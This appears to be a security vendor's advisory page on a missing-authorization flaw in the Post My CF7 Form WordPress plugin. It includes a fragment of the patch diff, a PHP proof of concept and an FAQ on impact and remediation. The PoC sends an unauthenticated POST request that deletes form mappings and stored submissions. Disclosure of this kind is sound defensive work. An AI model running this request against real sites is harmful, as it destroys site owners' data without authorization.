 	/*The post ID to which a submission is saved to is stored as a transient value in the WordPress database cache.  This is helpful is you want to redirect your form submission to another page and display the results.  You can access the saved post ID on the redirected page. This transient value is cached for 5 minutes, but you may need to keep this value in the cache for a longer period if you expect your users to visit the redirected page at a later state. */
 	if('{$form_key}' == $cf7_key){
 		$time = 60*60*1; //this is 1 hour.
 	}
 	return $time;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Cache Time Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'period to track anonymous submissions.', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'Cache Time Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'period to track anonymous submissions.', 'post-my-contact-form-7' ); ?>
 		</li>
 			<li>3.5)
-			<a class="helper" data-cf72post="add_fitler('cf7_2_post_draft_skips_mail', 'force_notification');
+			<a class="helper" data-cf72post="add_filter('cf7_2_post_draft_skips_mail', 'force_notification');
 	/**
 	* Function to force mail sending for draft form saving.
 	* @param boolean $skip_mail true by default.
@@ -463,10 +474,10 @@
 	function force_notification($skip_mail, $cf7_key){
 	/*For forms which have a save button, the mail sending of draft forms is skipped by default. This filter allows you to force mail notification of draft forms. */
 	if('{$form_key}' == $cf7_key){
-		skip_mail = false;
+		$skip_mail = false;
 	}
-	return skip_mail;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Draft Mail Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'to send cf7 mail for draft form saved.', 'post-my-contact-form-7' ); ?>
+	return $skip_mail;
+	}" href="#"><?php esc_html_e( 'Draft Mail Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'to send cf7 mail for draft form saved.', 'post-my-contact-form-7' ); ?>
 		</li>
 		<li>3.6)
 			<a class="helper" data-cf72post="add_action('cf7_2_post_form_submitted_to_{$post_type}', 'new_{$post_type_f}_mapped',10,4);
@@ -479,11 +490,13 @@
 	*/
 	function new_{$post_type_f}_mapped($post_id, $cf7_form_data, $cf7form_key, $submitted_files){
 	//do something.
-	}" href="javascript:void(0);"><?php esc_html_e( 'Action', 'post-my-contact-form-7' ); ?></a>
+	}" href="#"><?php esc_html_e( 'Action', 'post-my-contact-form-7' ); ?></a>
 	<?php
 		echo wp_kses(
 			__( 'after <em>submitted</em> form is saved to post.', 'post-my-contact-form-7' ),
-			array( 'em' => array() ),
+			array(
+				'em' => array(),
+			)
 		);
 		?>
 		</li>
@@ -499,7 +512,7 @@
 	function set_default_title($post_title, $post_type, $cf7_key){
 	//set the default title for the post to which the form sibmission is saved to.
 	return $post_title;
-	}" href="javascript:void(0);"><?php esc_html_e( 'Default title Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'the default title of the submitted post.', 'post-my-contact-form-7' ); ?>
+	}" href="#"><?php esc_html_e( 'Default title Filter', 'post-my-contact-form-7' ); ?></a> <?php esc_html_e( 'the default title of the submitted post.', 'post-my-contact-form-7' ); ?>
 		</li>
 		</ul>
 	</div>
@@ -507,50 +520,51 @@
 	<script type="text/javascript">
 	(function($){
 		$(document).ready( function(){
-		var $source = $('#post_type_source');
-		$.fn.updateHelper = function(){
-		switch($(this).val()){
-			case 'factory':
-			$('li.system-hook', 'ul.helper-list').hide();
-			$('li.factory-hook', 'ul.helper-list').show();
-			break;
-			case 'system':
-			$('li.system-hook', 'ul.helper-list').show();
-			$('li.factory-hook', 'ul.helper-list').hide();
-			break;
-		}
-		//setup clipboard
-		$('#admin-hooks .helper-list li a, #loading-hooks .helper-list li a, #submit-hooks .helper-list li a').each(function(){
-			new Clipboard($(this)[0], {
-			text: function(trigger) {
-				let $target = $(trigger),
-				text = $

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59534 - Post My CF7 Form <= 6.2.0 - Missing Authorization

$target_url = 'http://your-wordpress-site.com/wp-admin/admin-post.php'; // Change to target site

// The action hook that processes the saving of quick edit data
$action = 'save_cf72post_metabox';

// The ID of the CF7 form to delete the mapping for
$post_id_to_delete = 1; // Change this to target a specific form ID

// Prepare the POST data to trigger the vulnerable action
$post_data = array(
    'delete_c2p_map' => $post_id_to_delete,
    'action' => $action // This may or may not be required, but we include it
);

// Initialize cURL
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch);
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "HTTP Code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

// Close cURL
curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2026-59534?
Vulnerability overview
CVE-2026-59534 is a missing authorization vulnerability in the Post My CF7 Form plugin for WordPress, affecting versions up to and including 6.2.0. It allows unauthenticated attackers to delete form-to-post mappings and associated saved submission data, potentially causing significant data loss.
How does the vulnerability work?
Technical explanation
The vulnerability exists because the plugin’s quick-edit template files lack capability checks. An attacker can send a crafted POST request to admin-post.php without authentication, triggering the save_quick_edit or save_quick_custompost functions. By supplying a delete_c2p_map parameter, they can delete mappings and submissions.
Who is affected by this vulnerability?
Affected users
Any WordPress site using the Post My CF7 Form plugin version 6.2.0 or earlier is affected. Sites that rely on Contact Form 7 and store form submissions via this plugin are particularly at risk.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in the WordPress admin under Plugins. If it is 6.2.0 or lower, the site is vulnerable. You can also review the plugin’s changelog or compare the code with the patched version 7.0.0.
What is the CVSS score and severity level?
Risk assessment
The vulnerability has a CVSS score of 5.3, which is rated as Medium severity. This indicates a moderate risk, but the potential for data loss makes it important to address promptly.
What is the root cause of the vulnerability?
Underlying issue
The root cause is the absence of capability checks in the partial template files c2p-quick-edit.php and cf7-2-custom-post-quick-edit.php. These files output the quick-edit interface without verifying that the user has the manage_options capability, allowing unauthenticated access.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanation
The PoC sends a POST request to admin-post.php with the action save_cf72post_metabox and a delete_c2p_map parameter containing a form ID. Without authentication, this triggers the vulnerable function and deletes the mapping and submissions for that form, proving the missing authorization.
What is the impact of successful exploitation?
Consequences
An attacker can delete form-to-post mappings and all saved submission data for any Contact Form 7 form. This can lead to permanent data loss, disruption of form functionality, and potential operational and financial damage.
How is the vulnerability patched?
Patch details
The patch adds a capability check at the top of the partial template files using current_user_can() with a filter defaulting to manage_options. If the user lacks the capability, the function returns early, preventing unauthorized access. Redundant checks in other files were also removed.
What should I do to fix or mitigate the issue?
Remediation steps
Immediately update the Post My CF7 Form plugin to version 7.0.0 or later. If you cannot update, consider disabling the plugin temporarily or restricting access to admin-post.php via firewall rules. Also, review and back up your form data.
Are there any workarounds if I cannot update immediately?
Temporary measures
As a temporary measure, you can add a custom function to your theme’s functions.php that checks user capabilities before the plugin’s quick-edit functions execute. However, updating the plugin is the only reliable fix.
How can I protect my site from similar vulnerabilities?
General security practices
Regularly update all plugins and themes, use a web application firewall, and monitor for unusual activity. Additionally, follow the principle of least privilege by ensuring only trusted users have admin access.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started